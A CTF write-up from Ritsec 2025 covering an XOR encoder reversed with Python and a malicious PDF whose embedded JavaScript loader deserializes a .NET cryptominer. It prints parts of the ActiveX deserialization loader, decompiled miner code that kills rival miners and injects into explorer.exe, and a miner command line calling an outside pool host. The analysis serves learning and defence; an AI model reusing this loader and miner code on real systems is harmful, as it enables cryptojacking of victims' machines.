Post

Ritsec CTF 2025 (Reverse)

Ritsec CTF 2025 (Reverse)

Zogulon Traces

Description

Quick!! Chase K has been abducted! He will surely be turned into a Zogulon if we don’t find him in time. All I could find was this encoder for their hyperspace drive and this letter. There are likely clues everywhere, be meticulous!!

To the Terran Peoples (UTC) Mar 17, 2025, 12:05:50 AM

The Zogulon Collective, has taken Chase K and transformed him into something beyond your understanding. He is lost to you now, never to return.

With indifference, The Zogulon Collective


Decompile

  • Observing the decompile. The decompiled C code takes a user-provided string and obfuscates it using a transformation function, glorbus_florbus(), which applies a non-linear mathematical operation based on the index and a random seed (time(0)). The transformed bytes are then printed in hexadecimal format, along with the seed used for encoding. This essentially acts as a basic XOR-based encryption with a position-dependent key derived from the glorbus_florbus() function

  • The flow of the program would be:

  1. Read input string from the command line.
  2. Generate a random seed using time(0).
  3. Allocate memory for encrypted output.
  4. Loop through each character:
    • Compute transformation value using glorbus_florbus(index, seed).
    • XOR character with this value.
  5. Print encrypted hex output along with the seed.
  • Below was the pseudocode in C of the original file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
//----- (00000000000011A9) ----------------------------------------------------
__int64 __fastcall glorbus_florbus(int a1, unsigned int a2)
{
  return a1 * a1 * (a2 % 0xA + a1 - 5)
       + (a2 % 0xA + a1 - 3) * a1 * a1 * a1
       + (unsigned __int8)((a2 % 0xA + a1 - 7) * a1);
}

//----- (000000000000126A) ----------------------------------------------------
_BYTE *__fastcall squen_shorp(const char *a1, __int64 a2, unsigned int a3)
{
  _BYTE *result; // rax
  int i; // [rsp+28h] [rbp-8h]
  int v6; // [rsp+2Ch] [rbp-4h]

  v6 = strlen(a1);
  for ( i = 0; i < v6; ++i )
    *(_BYTE *)(i + a2) = a1[i] ^ glorbus_florbus(i, a3);
  result = (_BYTE *)(v6 + a2);
  *result = 0;
  return result;
}

//----- (00000000000012EF) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v4; // rax
  unsigned __int64 v5; // rax
  void *v6; // rsp
  size_t v7; // rbx
  _QWORD v8[2]; // [rsp+8h] [rbp-70h] BYREF
  const char **v9; // [rsp+18h] [rbp-60h]
  int v10; // [rsp+24h] [rbp-54h]
  int i; // [rsp+30h] [rbp-48h]
  unsigned int v12; // [rsp+34h] [rbp-44h]
  char *s; // [rsp+38h] [rbp-40h]
  size_t v14; // [rsp+40h] [rbp-38h]
  _QWORD *v15; // [rsp+48h] [rbp-30h]
  unsigned __int64 v16; // [rsp+50h] [rbp-28h]

  v10 = argc;
  v9 = argv;
  v16 = __readfsqword(0x28u);
  if ( argc > 1 )
  {
    s = (char *)v9[1];
    v4 = strlen(s) + 1;
    v14 = v4 - 1;
    v8[0] = v4;
    v8[1] = 0;
    v5 = 16 * ((v4 + 15) / 0x10);
    while ( v8 != (_QWORD *)((char *)v8 - (v5 & 0xFFFFFFFFFFFFF000LL)) )
      ;
    v6 = alloca(v5 & 0xFFF);
    if ( (v5 & 0xFFF) != 0 )
      *(_QWORD *)((char *)&v8[-1] + (v5 & 0xFFF)) = *(_QWORD *)((char *)&v8[-1] + (v5 & 0xFFF));
    v15 = v8;
    v12 = time(0);
    squen_shorp(s, (__int64)v15, v12);
    for ( i = 0; ; ++i )
    {
      v7 = i;
      if ( v7 >= strlen(s) )
        break;
      printf("%02x", *((unsigned __int8 *)v15 + i));
    }
    printf("\n: %08x\n", v12);
    return 0;
  }
  else
  {
    printf("Drinworg: %s <shwin>\n", *v9);
    return 1;
  }
}

Find the Traces

  • The extracted section headers of hyperdrive_encoder.elf include standard segments such as .rodata for read-only data, .eh_frame_hdr and .eh_frame for exception handling, .init_array and .fini_array for initialization and cleanup routines, .dynamic for dynamic linking, .data for writable initialized variables, .bss for uninitialized variables, and .comment for compiler metadata. However, the presence of .TRACES_OF_THE_ZOGULAN, a non-standard section, which was intended in these CTF purpose.
1
2
3
4
5
6
7
8
9
10
11
└─$ strings hyperdrive_encoder.elf | tail
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
.TRACES_OF_THE_ZOGULAN

Dump from memory

  • Dump the .TRACES_OF_THE_ZOGULAN and extract the hex of it:
1
2
3
4
5
6
7
└─$ objdump -s -j .TRACES_OF_THE_ZOGULAN hyperdrive_encoder.elf

hyperdrive_encoder.elf:     file format elf64-x86-64

Contents of section .TRACES_OF_THE_ZOGULAN:
 0000 52a799d1 13de948d fb5f59a9 c0480347  R........_Y..H.G
 0010 a1d1dc6a 84d8851d 6b21               ...j....k!

Hash Generate

  • The question mentions a timestamp: (UTC) Mar 17, 2025, 12:05:50 AM, which is likely the seed time.

  • Convert this timestamp into a hash using a simple Python script.

Python script:

1
2
3
4
5
6
7
from datetime import datetime

timestamp = datetime(2025, 3, 17, 0, 5, 50)

seed = int(timestamp.timestamp())
print(hex(seed))
#0x67e012be

Output:

1
2
└─$ python hexfind.py
0x67e012be

Seed Hex: 0x67e012be

Reversing

  • To reverses this process. By decoding a known encrypted message using the same glorbus_florbus() function. It will revert back the encoded hex string and a predefined seed, then XORs each byte with the corresponding transformed value to reconstruct the original text. This works because the encryption process is deterministic when given the same seed, allowing successful decryption if the correct seed is known.

  • Decrypt process would be:

  1. Read hex-encoded string and known seed.
  2. Convert hex string to raw bytes.
  3. Loop through each byte:
    • Compute the same transformation value.
    • XOR with the encoded byte to retrieve the original character.
  4. Reconstruct and print the original message.
  • decompile and make a script to decode it by reversing it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ cat script.py
from datetime import datetime

def glorbus_florbus(a1, a2):
    return (
        a1 * a1 * (a2 % 0xA + a1 - 5)
        + (a2 % 0xA + a1 - 3) * a1 * a1 * a1
        + ((a2 % 0xA + a1 - 7) * a1)
    ) & 0xFF

def decode(encoded_hex, seed):
    encoded_bytes = bytes.fromhex(encoded_hex)
    decoded_bytes = []
    for i in range(len(encoded_bytes)):
        decoded_bytes.append(encoded_bytes[i] ^ glorbus_florbus(i, seed))
    return bytes(decoded_bytes).decode("utf-8", errors="replace")

def main():
    encoded_output = "52a799d113de948dfb5f59a9c0480347a1d1dc6a84d8851d6b21"
    seed = 0x67e012be
    decoded_message = decode(encoded_output, seed)
    print("Decoded Message:", decoded_message)

if __name__ == "__main__":
    main()
  • The output will be:
1
2
└─$ python script.py
Decoded Message: RS{37.233333, -115.808333}

Flag: RS{37.233333, -115.808333}


Banksman


Disclaimer:

Thanks to @benkyou finding javascript on the pdf, else. i can’t proceed to complete the process.


Description

Our professor received a report from an unfamiliar student. With his experience, the professor realized that this report was abnormal. He immediately used this file for our research assignment. Let’s analyze whether there is anything mysterious embedded in it!


Observation

When investigating the contents of report.pdf, pdfid was used to check for embedded elements. The analysis revealed the presence of hidden JavaScript within the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ pdfid -e report.pdf
PDFiD 0.2.8 report.pdf
 PDF Header: %PDF-1.3
 obj                  130
 endobj               130
 stream                52
 endstream             52
 xref                   1
 trailer                1
 startxref              1
 /Page                 13
 /Encrypt               0
 /ObjStm                0
 /JS                    1
 /JavaScript            1
 /AA                    0
 /OpenAction            1
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /XFA                   0
 /Colors > 2^24         0
 %%EOF                  1
 After last %%EOF       0
 D:20150822151410+05'30  /CreationDate
 D:20220412210156+00'00  /ModDate
 Total entropy:           3.657967 (  28094009 bytes)
 Entropy inside streams:  7.994043 (     94352 bytes)
 Entropy outside streams: 0.000000 (  27999657 bytes)

The presence of /JS and /JavaScript confirms that the PDF contains embedded JavaScript, potentially indicating malicious activity.

Extracting the Javascript

The next analysis will be performed using tools of pdf-parser.py to extract and review the script.

Source: https://pypi.org/project/py-pdf-parser/

1
└─$ pdf-parser -s js report.pdf > file.js

While inspecting the extracted js file.It shows references to /Action, /S /JavaScript, and /JS, confirming that the script is embedded within the PDF as a JavaScript action:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
└─$ xxd file.js | head -n30
00000000: 5468 6973 2070 726f 6772 616d 2068 6173  This program has
00000010: 206e 6f74 2062 6565 6e20 7465 7374 6564   not been tested
00000020: 2077 6974 6820 7468 6973 2076 6572 7369   with this versi
00000030: 6f6e 206f 6620 5079 7468 6f6e 2028 332e  on of Python (3.
00000040: 3133 2e32 290a 5368 6f75 6c64 2079 6f75  13.2).Should you
00000050: 2065 6e63 6f75 6e74 6572 2070 726f 626c   encounter probl
00000060: 656d 732c 2070 6c65 6173 6520 7573 6520  ems, please use
00000070: 5079 7468 6f6e 2076 6572 7369 6f6e 2033  Python version 3
00000080: 2e31 312e 310a 6f62 6a20 3520 300a 2054  .11.1.obj 5 0. T
00000090: 7970 653a 202f 4163 7469 6f6e 0a20 5265  ype: /Action. Re
000000a0: 6665 7265 6e63 696e 673a 200a 0a20 203c  ferencing: ..  <
000000b0: 3c0a 2020 2020 2f54 7970 6520 2f41 6374  <.    /Type /Act
000000c0: 696f 6e0a 2020 2020 2f53 202f 4a61 7661  ion.    /S /Java
000000d0: 5363 7269 7074 0a20 2020 202f 4a53 203c  Script.    /JS <
000000e0: 3636 3735 3645 3633 3734 3639 3646 3645  66756E6374696F6E
000000f0: 3230 3733 3635 3734 3736 3635 3732 3733  2073657476657273
00000100: 3639 3646 3645 3238 3239 3230 3742 3044  696F6E2829207B0D
00000110: 3041 3744 3044 3041 3636 3735 3645 3633  0A7D0D0A66756E63
00000120: 3734 3639 3646 3645 3230 3634 3635 3632  74696F6E20646562

└─$ xxd file.js | tail
01aae990: 3433 3732 3635 3631 3734 3635 3439 3645  437265617465496E
01aae9a0: 3733 3734 3631 3645 3633 3635 3238 3635  7374616E63652865
01aae9b0: 3645 3734 3732 3739 3546 3633 3643 3631  6E7472795F636C61
01aae9c0: 3733 3733 3239 3342 3044 3041 3039 3044  7373293B0D0A090D
01aae9d0: 3041 3744 3230 3633 3631 3734 3633 3638  0A7D206361746368
01aae9e0: 3230 3238 3635 3239 3230 3742 3044 3041  20286529207B0D0A
01aae9f0: 3230 3230 3230 3230 3634 3635 3632 3735  2020202064656275
01aaea00: 3637 3238 3635 3245 3644 3635 3733 3733  6728652E6D657373
01aaea10: 3631 3637 3635 3239 3342 3044 3041 3744  616765293B0D0A7D
01aaea20: 3e0a 2020 3e3e 0a0a 0a                   >.  >>...

Remove all the unwanted text using any favorite tools (leafpad,vim,vi,nano,notepad whatever you wanted) and leave only hex. and it should be like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ xxd file.js | head
00000000: 3636 3735 3645 3633 3734 3639 3646 3645  66756E6374696F6E
00000010: 3230 3733 3635 3734 3736 3635 3732 3733  2073657476657273
00000020: 3639 3646 3645 3238 3239 3230 3742 3044  696F6E2829207B0D
00000030: 3041 3744 3044 3041 3636 3735 3645 3633  0A7D0D0A66756E63
00000040: 3734 3639 3646 3645 3230 3634 3635 3632  74696F6E20646562
00000050: 3735 3637 3238 3733 3239 3230 3742 3744  7567287329207B7D
00000060: 3044 3041 3636 3735 3645 3633 3734 3639  0D0A66756E637469
00000070: 3646 3645 3230 3632 3631 3733 3635 3336  6F6E206261736536
00000080: 3334 3534 3646 3533 3734 3732 3635 3631  34546F5374726561
00000090: 3644 3238 3632 3239 3230 3742 3044 3041  6D286229207B0D0A

└─$ xxd file.js | tail
01aae8a0: 3732 3732 3631 3739 3238 3239 3239 3245  727261792829292E
01aae8b0: 3433 3732 3635 3631 3734 3635 3439 3645  437265617465496E
01aae8c0: 3733 3734 3631 3645 3633 3635 3238 3635  7374616E63652865
01aae8d0: 3645 3734 3732 3739 3546 3633 3643 3631  6E7472795F636C61
01aae8e0: 3733 3733 3239 3342 3044 3041 3039 3044  7373293B0D0A090D
01aae8f0: 3041 3744 3230 3633 3631 3734 3633 3638  0A7D206361746368
01aae900: 3230 3238 3635 3239 3230 3742 3044 3041  20286529207B0D0A
01aae910: 3230 3230 3230 3230 3634 3635 3632 3735  2020202064656275
01aae920: 3637 3238 3635 3245 3644 3635 3733 3733  6728652E6D657373
01aae930: 3631 3637 3635 3239 3342 3044 3041 3744  616765293B0D0A7D

Converting Hex to UTF-8

Converted a hex-encoded JavaScript file into a decoded UTF-8 JavaScript file without spaces or newlines:

1
└─$ cat file.js | tr -d '\n ' | xxd -r -p | iconv -f latin1 -t utf-8 > bank.js

After converting. try to read the file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─$ cat bank.js | head
function setversion() {
}
function debug(s) {}
function base64ToStream(b) {
        var enc = new ActiveXObject("System.Text.ASCIIEncoding");
        var length = enc.GetByteCount_2(b);
        var ba = enc.GetBytes_4(b);
        var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
        ba = transform.TransformFinalBlock(ba, 0, length);
        var ms = new ActiveXObject("System.IO.MemoryStream");


└─$ cat bank.js | tail
        var stm = base64ToStream(serialized_obj);
        var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
        var al = new ActiveXObject('System.Collections.ArrayList');
        var d = fmt.Deserialize_2(stm);
        al.Add(undefined);
        var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);

} catch (e) {
    debug(e.message);
}

Above shows the head and tail of the content and we finally decode to UTF-8 of the hex file of it. but the issue was it have some base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
└─$ cat bank.js 
---STRIP---
var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+
"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+
"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+
"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+
"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+
"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+
"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+
"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+
"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+
---STRIP---

next step was to extract the base64, remove line spacing and decode it to text:

1
└─$ grep -oE '"[A-Za-z0-9+/=]+"' bank.js | tr -d '"' | tr -d '[:space:]' | base64 -d > mal.exe

Extracting the EXE

The issue was the file starting address of execution file wasn’t in the actual placement:

1
2
3
4
5
6
7
└─$ xxd mal.exe
---STRIP---
000004c0: 0000 002e 9600 024d 5a90 0003 0000 0004  .......MZ.......
000004d0: 0000 00ff ff00 00b8 0000 0000 0000 0040  ...............@
000004e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000004f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
---STRIP---

The common address of the starting file of hex was 4d 5a 90 00 . Try to find the offset of it:

1
2
└─$ xxd mal.exe | grep "MZ"
000004c0: 0000 002e 9600 024d 5a90 0003 0000 0004  .......MZ.......

The header start on 0x4C7 which was 1223 in decimal.Next to extract all after the value of 1223

1
2
3
4
└─$ dd if=mal.exe of=bank.exe bs=1 skip=1223
9842251+0 records in
9842251+0 records out
9842251 bytes (9.8 MB, 9.4 MiB) copied, 9.76219 s, 1.0 MB/s

After remove the text before MZ, try to check the xxd of the new extract file:

1
2
3
4
5
6
7
8
9
10
11
└─$ xxd bank.exe | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
00000080: 5045 0000 6486 0200 c2d6 3167 0000 0000  PE..d.....1g....
00000090: 0000 0000 f000 2200 0b02 0b00 0026 9600  ......"......&..

Read the String of UTF-16LE

Final step was to extract all the strings only:

1
└─$ strings -el bank.exe > readable_text.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
└─$ cat readable_text.txt
arblbot
cexjmemit
dmibxn
frhbnnpn
zzach
juqabmcz
Project1.Program
Load
C:\Windows\explorer.exe
winmgmts:{impersonationLevel=impersonate}!\\
\root\cimv2
ExecQuery
Select * from Win32_Process
select CommandLine from Win32_Process where Name='{0}'
explorer.exe
CommandLine
--donate-level=
Terminate
nvidia
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
\NVIDIA GPU Computing Toolkit\CUDA
--cuda-bfactor=12 --cuda-bsleep=100
arblbot
arblbot2
 --max-cpu-usage=50
frhbnnpn
--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8
cexjmemit
zzach
-B --donate-level=1 -a cryptonight --url=http://notminer.metaproblems.com -u miner -p MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n} -R --variant=-1
SELECT * FROM Win32_VideoController
VideoProcessor
Name
hqwzqtr
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
FileDescription
FileVersion
0.0.0.0
InternalName
word.exe
LegalCopyright
OriginalFilename
word.exe
ProductVersion
0.0.0.0
Assembly Version
0.0.0.0

Highlighted:

1
2
└─$ cat readable_text.txt | grep "MetaCTF"
-B --donate-level=1 -a cryptonight --url=http://notminer.metaproblems.com -u miner -p MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n} -R --variant=-1

Flag: MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n}


Malware Analysis (Bonus)

Executive Summary

This CTF challenge focuses on analyzing a cryptocurrency mining command, highlighting its execution, resource allocation, and potential security implications. The challenge provides insights into unauthorized mining activities, evasion techniques from the pdf file, and the impact on system performance. While investigating the command, participants enhance their understanding of cryptojacking operation.


Sample information

AttributeDetails
File nameword.exe
File size9,612 KB
File typeexecutive file (Microsoft.Net)
MD5f9c521876b1995162bf6371828623523
SHA1bccd8ae00d070e373473109ea11eb7af534d712d
SHA256c64ebde3924e87c508cb71de318380b2444899df7c315c1a7065921789d835db

Observation

While observe the file using Detect It Easy (DIE), find out it was Microsoft.Net program which can be disassemble using a .Net Disassemble tools such as Dnspy, ILSpy, or dotpeek.

img

With the process of 64-bit, and the entropy of 8.000 tells the program obfuscation level. Other things was the file have 52/73 malware detection on virustotal

img


Static Analysis

The analyzed binary, word.exe, is a .NET executable containing a PE structure. The presence of Program and the My namespace with classes such as MyApplication, MyComputer, and MyProject suggests it was built using Visual Basic .NET (VB.NET).

img

On the My section leave no info as it was all about the program version and template only. But checking on another one of the class which was Program class, we’ll get to see the multiple function call was used:

img


Main

This is the entry point of the program. It first calls KillLastProc() to terminate any previously running processes, then executes RunIt(), which initiates the next steps of execution.

1
2
3
4
5
public static void Main()
{
	Program.KillLastProc();
	Program.RunIt();
}

GetTheResource

This function retrieves an embedded resource from the executing assembly, decrypts it using AES, and returns the decrypted byte array. It is used in RunIt() and GetTheLoad() to extract necessary payloads.

1
2
3
4
5
6
public static byte[] GetTheResource(string Get_)
{
	Assembly executingAssembly = Assembly.GetExecutingAssembly();
	ResourceManager resourceManager = new ResourceManager("juqabmcz", executingAssembly);
	return Program.AES_Decryptor((byte[])resourceManager.GetObject(Get_));
}

GetTheLoad

This function dynamically loads an assembly from the provided byte array (PL), finds the Load method inside the Project1.Program class, and executes it with specific arguments. It is a key function in RunIt() to execute malicious payloads.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void GetTheLoad(byte[] PL, string arg, byte[] buffer)
{
	try
	{
		Assembly.Load(PL).GetType("Project1.Program").GetMethod("Load", BindingFlags.Static | BindingFlags.Public).Invoke(null, new object[]
		{
			buffer,
			"C:\\Windows\\explorer.exe",
			arg
		});
	}
	catch (Exception ex)
	{
	}
}

KillLastProc

This function scans running processes using WMI and terminates any process containing –donate-level= in its command line, which suggests it is targeting existing cryptocurrency miners to remove competition before deploying its own mining payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public static void KillLastProc()
{
	int num;
	int num4;
	object obj2;
	try
	{
		IL_00:
		ProjectData.ClearProjectError();
		num = 1;
		IL_08:
		int num2 = 2;
		object objectValue = RuntimeHelpers.GetObjectValue(Interaction.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\" + Environment.UserDomainName + "\\root\\cimv2", null));
		IL_2B:
		num2 = 3;
		object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "ExecQuery", new object[]
		{
			"Select * from Win32_Process"
		}, null, null, null));
		IL_56:
		num2 = 4;
		string queryString = string.Format("select CommandLine from Win32_Process where Name='{0}'", "explorer.exe");
		IL_6A:
		num2 = 5;
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString);
		IL_75:
		num2 = 6;
		ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
		IL_7F:
		num2 = 7;
		IEnumerator enumerator = ((IEnumerable)objectValue2).GetEnumerator();
		while (enumerator.MoveNext())
		{
			object obj = enumerator.Current;
			object objectValue3 = RuntimeHelpers.GetObjectValue(obj);
			IL_9F:
			num2 = 8;
			if (NewLateBinding.LateGet(objectValue3, null, "CommandLine", new object[0], null, null, null).ToString().Contains("--donate-level="))
			{
				IL_C9:
				num2 = 9;
				NewLateBinding.LateCall(objectValue3, null, "Terminate", new object[0], null, null, null, true);
			}
			IL_E5:
			num2 = 11;
		}
		if (enumerator is IDisposable)
		{
			(enumerator as IDisposable).Dispose();
		}
		IL_107:
		goto IL_194;
		IL_110:
		int num3 = num4 + 1;
		num4 = 0;
		@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num3);
		IL_150:
		goto IL_189;
		IL_152:
		num4 = num2;
		@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num);
		IL_165:;
	}
	catch when (endfilter(obj2 is Exception & num != 0 & num4 == 0))
	{
		Exception ex = (Exception)obj3;
		goto IL_152;
	}
	IL_189:
	throw ProjectData.CreateProjectError(-2146828237);
	IL_194:
	if (num4 != 0)
	{
		ProjectData.ClearProjectError();
	}
}

RunIt

This function determines the system’s GPU type using GetTheSpec(), retrieves the corresponding payload via GetTheResource(), and executes it using GetTheLoad(). It ultimately runs a cryptocurrency mining operation, passing different configurations based on the detected hardware.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public static void RunIt()
{
	try
	{
		string str = "";
		byte[] buffer = null;
		if (Program.GetTheSpec().ToLower().Contains("nvidia"))
		{
			if (Directory.Exists("C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\"))
			{
				foreach (string text in Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\NVIDIA GPU Computing Toolkit\\CUDA"))
				{
					if (text.Contains("v8"))
					{
						str = "--cuda-bfactor=12 --cuda-bsleep=100";
						buffer = Program.GetTheResource("arblbot");
					}
					else if (text.Contains("v9"))
					{
						str = "--cuda-bfactor=12 --cuda-bsleep=100";
						buffer = Program.GetTheResource("arblbot2");
					}
					else
					{
						str = "-t " + Conversions.ToString((double)Environment.ProcessorCount / 2.0) + " --max-cpu-usage=50";
						buffer = Program.GetTheResource("frhbnnpn");
					}
				}
			}
		}
		else if (Program.GetTheSpec().ToLower().Contains("amd"))
		{
			str = "--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8";
			buffer = Program.GetTheResource("cexjmemit");
		}
		else
		{
			str = "-t " + Conversions.ToString((double)Environment.ProcessorCount / 2.0) + " --max-cpu-usage=50";
			buffer = Program.GetTheResource("frhbnnpn");
		}
		Program.GetTheLoad(Program.GetTheResource("zzach"), "-B --donate-level=1 -a cryptonight --url=http://notminer.metaproblems.com -u miner -p MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n} -R --variant=-1 " + str, buffer);
	}
	catch (Exception ex)
	{
	}
}

GetTheSpec

This function queries the system for GPU details using WMI and determines whether the system has an NVIDIA or AMD graphics card. The result influences the mining configuration used in RunIt().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public static string GetTheSpec()
{
	string result;
	try
	{
		string text = "";
		ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_VideoController");
		ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(query);
		try
		{
			foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
			{
				ManagementObject managementObject = (ManagementObject)managementBaseObject;
				text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, managementObject["VideoProcessor"]), " "));
			}
		}
		finally
		{
			ManagementObjectCollection.ManagementObjectEnumerator enumerator;
			if (enumerator != null)
			{
				((IDisposable)enumerator).Dispose();
			}
		}
		if (text.ToLower().Contains("nvidia") || text.ToLower().Contains("amd"))
		{
			result = text;
		}
		else
		{
			try
			{
				foreach (ManagementBaseObject managementBaseObject2 in managementObjectSearcher.Get())
				{
					ManagementObject managementObject2 = (ManagementObject)managementBaseObject2;
					text = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(text, managementObject2["Name"]), " "));
				}
			}
			finally
			{
				ManagementObjectCollection.ManagementObjectEnumerator enumerator2;
				if (enumerator2 != null)
				{
					((IDisposable)enumerator2).Dispose();
				}
			}
			if (text.ToLower().Contains("nvidia") || text.ToLower().Contains("amd"))
			{
				result = text;
			}
			else
			{
				result = "";
			}
		}
	}
	catch (Exception ex)
	{
		result = "";
	}
	return result;
}

Dynamic Analysis

Using procmon able to see 3 program execute under the parent pid with the command executed (can also see the flag) under the explorer.exe:

img

Other picture of the command executed:

img

Breakdown of Arguments:

  • -B → Runs in background mode (common in miners).
  • --donate-level=1 → Sets donation percentage to the miner’s developer.
  • -a cryptonight → Specifies the CryptoNight mining algorithm (commonly used in Monero mining).
  • --url=http://notminer.metaproblems.com → Connects to a mining pool/server at the specified URL.
  • -u miner → Uses “miner” as the username for authentication.
  • -p MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n} → Password or token (possibly a challenge flag for a CTF competition).
  • -R → Likely auto-restart or watchdog feature.
  • --variant=-1 → Sets the CryptoNight variant (often used to bypass mining detections).
  • -t 1 → Uses 1 CPU thread for mining.
  • --max-cpu-usage=50 → Limits CPU usage to 50%.

This extracted command is used to mine cryptocurrency using the CryptoNight algorithm. It connects to a specified mining pool and operates with limited CPU resources. However, explorer.exe is a Windows system process and not a mining application, meaning this command is likely used to disguise the actual execution of a miner.

Password: MetaCTF{I_4m_n0t_@_m1n3r_1_@m_a_b4nk5m4n}


Conclusion

This CTF challenge demonstrates how cryptocurrency mining can be executed using a command-line interface. The provided command leverages the CryptoNight algorithm, commonly associated with Monero mining, and runs in the background with controlled CPU usage.

This post is licensed under CC BY 4.0 by the author.